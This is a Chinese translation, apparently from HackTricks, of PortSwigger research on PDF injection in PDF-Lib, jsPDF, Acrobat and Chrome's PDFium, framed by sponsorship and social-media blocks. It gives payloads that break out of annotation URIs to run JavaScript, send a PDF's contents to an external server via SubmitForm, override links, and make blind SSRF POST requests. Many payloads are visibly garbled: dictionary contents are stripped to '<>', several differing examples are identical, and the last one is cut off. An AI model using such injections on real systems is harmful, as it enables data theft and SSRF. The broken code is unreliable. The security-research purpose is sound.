☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF版的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
**如果你的输入被反射到PDF文件中,你可以尝试注入PDF数据来执行JavaScript或窃取PDF内容。**
以下信息摘自[**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
## PDF-Lib
这次,我使用了[PDFLib](https://pdf-lib.js.org)。我花了一些时间使用该库创建一个注释,并尝试将一个闭合括号注入到注释的URI中 - 结果成功了!我用来生成注释代码的样本漏洞代码如下:
`...` \
`A: {`\
`Type: 'Action',`\
`S: 'URI',`\
``URI: PDFString.of(`injection)`),``\
`}`\
`})`\
`...`
[完整代码:](https://github.com/PortSwigger/portable-data-exfiltration/blob/main/PDF-research-samples/pdf-lib/first-injection/test.js)
我如何知道注入成功了呢?除非我注入一个闭合括号,否则PDF将正确渲染。这证明闭合括号打破了字符串并导致PDF代码无效。破坏PDF很好,但我需要确保能够执行JavaScript。我查看了渲染后的PDF代码,并注意到输出是使用FlateDecode过滤器进行编码的。我编写了一个小脚本来解压缩该块,注释部分的输出如下所示:`<<`\
`/Type /Annot`\
`/Subtype /Link`\
`/Rect [ 50 746.89 320 711.89 ]`\
`/Border [ 0 0 2 ]`\
`/C [ 0 0 1 ]`\
`/A <<`\
`/Type /Action`\
`/S /URI`\
`/URI (injection))`\
`>>`\
`>>`
正如你可以清楚地看到的那样,注入字符串用一个闭合括号关闭了文本边界,留下了一个已存在的闭合括号,导致PDF渲染不正确:
![显示加载PDF时的错误对话框的屏幕截图](https://portswigger.net/cms/images/34/f4/3ed2-article-screenshot-showing-damaged-pdf.png)
太好了,我可以破坏PDF的渲染,接下来呢?我需要想出一个调用一些JavaScript的注入 - PDF注入中的alert(1)。
就像XSS向量依赖于浏览器的解析一样,PDF注入的可利用性可能取决于PDF渲染器。我决定首先针对Acrobat进行攻击,因为我认为这些向量在Chrome中的可行性较低。我注意到两件事:1)你可以注入其他的注释操作,2)如果你修复现有的闭合括号,PDF将会渲染。经过一些实验,我想出了一个很好的有效负载,它注入了一个额外的注释操作,执行了JavaScript,并修复了闭合括号:`/blah)>>/A<>/>>(`
首先打破括号,然后使用>>打破字典,然后开始一个新的注释字典。/S/JavaScript使注释基于JavaScript,/JS是存储JavaScript的地方。括号内是我们实际的JavaScript代码。请注意,如果括号是平衡的,你不需要转义括号。最后,我添加了注释的类型,完成了字典,并修复了闭合括号。这太酷了,我可以制作一个执行JavaScript的注入,但那又怎样呢?你可以执行JavaScript,但你无法访问DOM,所以你无法读取cookie。然后,James出现了,并建议从注入中窃取PDF的内容。我开始寻找获取PDF内容的方法。在Acrobat中,我发现你可以使用JavaScript在没有任何用户交互的情况下提交表单!查看JavaScript API的规范,修改基本注入并添加一些JavaScript代码,将整个PDF代码的内容发送到外部服务器的POST请求中:`/blah)>>/A<>/>>(`
alert不是必需的,我只是为了证明注入正在执行JavaScript。
接下来,只是为了好玩,我尝试在不使用JavaScript的情况下窃取PDF的内容。从PDF规范中,我发现可以使用一个名为SubmitForm的操作。我在过去使用过这个操作,当我在Burp Suite中构建一个用于扫描检查的PDF时。它正如其名。它还有一个Flags字典项来控制提交的内容。Flags字典键接受一个整数值,但每个单独的设置由一个二进制位控制。使用ES6中的新二进制字面量来处理这些设置是一个很好的方法。二进制字面量应该有14位,因为总共有14个标志。在下面的示例中,所有设置都被禁用:`0b00000000000000`
要设置一个标志,首先需要查找它的位位置(PDF规范的表237)。在这种情况下,我们想设置SubmitPDF标志。由于这由第9位控制,所以你只需要从右边数9位:`0b00000100000000`
如果您使用JavaScript进行评估,这将导致十进制值256。换句话说,将Flags条目设置为256将启用SubmitPDF标志,这会在提交表单时发送PDF的内容。我们所需要做的就是使用之前创建的基本注入,并将其修改为调用SubmitForm操作而不是JavaScript:`/blah)>>/A<>/>>(`
## sPDF
接下来,我将我的方法应用于另一个PDF库 - [jsPDF](https://parall.ax/products/jspdf) - 并发现它也存在漏洞。利用这个库非常有趣,因为它们有一个可以在浏览器中执行并允许您实时生成PDF的API。我注意到,与PDP-Lib库一样,他们忘记了在注释URL中转义括号。这里的url属性是有漏洞的:`doc.createAnnotation({bounds:`\
`{x:0,y:10,w:200,h:200},`\
``type:'link',url:`/input`});``\
`//vulnerable`
因此,我使用他们的API生成了一个PDF,并将PDF代码注入到url属性中:
`var doc = new jsPDF();`\
`doc.text(20, 20, 'Hello world!');`\
`doc.addPage('a6','l');`\
`doc.createAnnotation({bounds:`\
`` {x:0,y:10,w:200,h:200},type:'link',url:` ``\
`/blah)>>/A<>/A<> >>`\
`<> >>`\
``<>/(`});``\
`doc.text(20, 20, 'Auto execute');`
当您关闭PDF时,此注释将触发:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >>``\
``<>/(`});``\
`doc.text(20, 20, 'Close me');`
## Chrome
我已经谈了很多关于Acrobat,但是PDFium(Chrome的PDF阅读器)呢?Chrome很棘手;攻击面比Acrobat小得多,因为其JavaScript支持比Acrobat有限。我首先注意到的是,JavaScript根本不会在注释中执行,因此我的概念验证无法工作。为了使向量在Chrome中起作用,我至少需要在注释中执行JavaScript。不过,首先我决定尝试覆盖注释中的URL。这很容易。我可以使用之前提出的基本注入,并简单地注入另一个具有URI条目的操作,该条目将覆盖现有的URL:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<>/F 0>>(`});``\
`doc.text(20, 20, 'Test text');`
这将在点击时导航到portswigger.net。然后,我继续尝试不同的注入方式来调用JavaScript,但每次都失败了。我认为这是不可能的。我退后一步,尝试手动构建一个完整的PDF,以便在Chrome中通过点击而无需注入调用JavaScript。当使用AcroForm按钮时,Chrome将允许执行JavaScript,但问题是它需要引用PDF的某些部分。我成功地构建了一个注入,它将从JSPDF的点击中执行JavaScript:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> <>/Type/Annot/MK<>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<>>>/Parent <>/H/P/A<> >> <>/Type/Annot/MK<>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<>>>/Parent <>/H/P/A<> >> <>/Type/Annot/MK<>/Rect [ 0 0 889 792]/Subtype/Widget/AP<>>>/Parent <>/H/P/A<>>><>/A<> <>/A<> <>/A<> >>``\
``<> /Rect [0 0 900 900] /AA <>/(`});``\
`doc.text(20, 20, 'Test');`\
``
## PDFium/Acrobat中的SSRF
可以使用PDFium/Acrobat发送POST请求来执行SSRF攻击。这将是一种[盲目的SSRF](https://portswigger.net/web-security/ssrf/blind),因为您可以发送POST请求,但无法读取响应。要构造POST请求,可以像之前演示的那样使用/parent字典键将表单元素分配给注释,从而启用JavaScript执行。但是,与之前使用按钮不同,您可以使用参数名称(/T)和参数值(/V)字典键将文本字段(/Tx)分配给注释。请注意,您必须将要使用的参数名称作为数组传递给submitForm函数:`#)>>>><>/A<> >> <>/A<
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。